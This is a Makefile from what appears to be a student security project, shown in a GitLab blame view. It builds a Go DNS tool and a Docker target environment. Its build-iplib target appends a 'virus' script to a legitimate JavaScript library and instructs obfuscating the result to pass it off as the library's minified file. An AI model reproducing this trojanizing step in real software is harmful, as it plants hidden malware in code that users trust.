Ce serveur Gitlab sera éteint le 30 juin 2020, pensez à migrer vos projets vers les serveurs gitlab-research.centralesupelec.fr et gitlab-student.centralesupelec.fr !

Makefile 772 Bytes
Newer Older
Sami Tabet's avatar
Sami Tabet committed
1
BINARY = ssidns
2
INFECTED_LIB = iplib/iplib.infected.js
Sami Tabet's avatar
Sami Tabet committed
3 4 5 6 7 8

# Build the project
all: build

.PHONY: build
build:
9
	go build -o ${BINARY} ./dns
Sami Tabet's avatar
Sami Tabet committed
10 11 12

.PHONY: run
run:
13
	go run ./dns
Sami Tabet's avatar
Sami Tabet committed
14

Sami Tabet's avatar
Sami Tabet committed
15 16
.PHONY: run-target
run-target:
17 18 19 20 21 22
	docker-compose --file target/docker-compose.yml up --build -d
	./target/es.sh

.PHONY: stop-target
stop-target:
	docker-compose --file target/docker-compose.yml stop
Sami Tabet's avatar
Sami Tabet committed
23 24 25 26

.PHONY: run-prod
run-prod: build
	sudo ./${BINARY} "$(shell curl -s http://169.254.169.254/latest/meta-data/public-ipv4)" | tee -a dns.log
27 28 29 30 31 32 33 34

.PHONY: build-iplib
build-iplib:
	cp iplib/iplib.js ${INFECTED_LIB}
	cat virus/virus.js >> ${INFECTED_LIB}
	@echo "---"
	@echo "Now copy the content of ${INFECTED_LIB} into this website: http://https://obfuscator.io/ and paste the output in iplib/iplib.min.js"